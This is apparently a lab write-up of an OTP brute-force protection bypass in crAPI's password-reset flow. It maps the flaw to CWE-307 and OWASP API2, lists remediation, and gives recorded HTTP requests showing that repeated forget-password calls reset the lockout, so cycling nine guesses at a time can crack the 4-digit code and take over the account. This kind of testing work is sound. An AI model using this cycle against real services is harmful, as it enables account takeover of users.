Back to the index

LAB FAIL

OTP Bruteforce Protection Bypass - Authentication - Password Reset

OTP Bruteforce Protection Bypass — Authentication — Password Reset

CWE-307: Improper Restriction of Excessive Authentication Attempts · OWASP API2:2023 - Broken Authentication

Vulnerability

[FAIL] OTP Bruteforce Protection Bypass - Authentication - Password Reset

Description

Reset OTP verification (/v3/check-otp) locks after 9 attempts per session, BUT this limit is reset every time /forget-password is called, and that endpoint itself has no rate limit or CAPTCHA. The brute-force protection can therefore be bypassed with a repeating cycle.

Impact

Confidentiality & Integrity: account takeover (ATO) of any user whose email is known, by brute-forcing the 4-digit OTP (10,000 combinations) with no effective obstacle.

CWE

CWE-307: Improper Restriction of Excessive Authentication Attempts

OWASP

API2:2023 - Broken Authentication

Scenario

Normal: request an OTP and make one attempt (Invalid). Exploitation: repeating forget-password without limit resets the lockout -> brute-force the 4-digit OTP -> ATO -> CIA (Confidentiality + Integrity).

Endpoint

POST http://127.0.0.1:8888/identity/api/auth/v3/check-otp POST http://127.0.0.1:8888/identity/api/auth/forget-password

Affected feature

Password Reset via OTP (crapi-identity)

Remediation

- Apply PERSISTENT per-account rate limiting + lockout (not reset by a new OTP request). - Throttle and add CAPTCHA to forget-password. - Use OTPs of >=6 digits with a short expiry.

Proof of concept

  1. (Screenshot 1) NORMAL: POST forget-password {victim email} -> 200, OTP sent.
  2. (Screenshot 2) NORMAL: POST v3/check-otp with one wrong attempt -> Invalid OTP.
  3. (Screenshot 3) EXPLOITATION + CIA: after the lockout, call forget-password again (200, no throttling) -> the counter is reset and a new OTP is issued; repeat the cycle [reset -> 9 guesses] until the OTP is guessed -> victim password reset (ATO).

The complete record

LAB All targets are lab systems. Nothing here is a client engagement. Evidence is shown as recorded; secrets are blacked out.

Normal: request a reset OTP

Normal flow: the forgot-password flow sends a 4-digit OTP to the victim's email.

HTTP request
POST /identity/api/auth/forget-password HTTP/1.1
Host: 127.0.0.1:8888
Content-Type: application/json

{"email":"[REDACTED-EMAIL]"}
HTTP response
HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 75

{
  "message": "OTP Sent on the provided email, [REDACTED-EMAIL]",
  "status": 200
}
Normal: request a reset OTP

Normal: one OTP attempt

Normal flow: one incorrect OTP attempt returns Invalid OTP.

HTTP request
POST /identity/api/auth/v3/check-otp HTTP/1.1
Host: 127.0.0.1:8888
Content-Type: application/json

{"email":"[REDACTED-EMAIL]","otp":"1234","password":"[REDACTED-LAB-VALUE]"}
HTTP response
HTTP/1.1 500
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 58

{
  "message": "Invalid OTP! Please try again..",
  "status": 500
}
Normal: one OTP attempt

Impact: forget-password resets the lockout

Impact: forget-password has no request limit and resets the lockout. Repeating [reset -> 9 guesses] defeats the 4-digit OTP and lets the attacker reset the victim's password. The recorded account takeover (ATO) compromises confidentiality and integrity.

HTTP request
POST /identity/api/auth/forget-password HTTP/1.1
Host: 127.0.0.1:8888
Content-Type: application/json

{"email":"[REDACTED-EMAIL]"}
# forget-password DIPANGGIL ULANG (tanpa rate-limit) => counter lockout ter-RESET & OTP baru terbit
HTTP response
HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 75

{
  "message": "OTP Sent on the provided email, [REDACTED-EMAIL]",
  "status": 200
}
Impact: forget-password resets the lockout

← Previous case: OTP Bruteforce Protection - Authentication - Password Reset (Per-Session Lockout) Next case: Server-Side Request Forgery - Workshop - Contact Mechanic →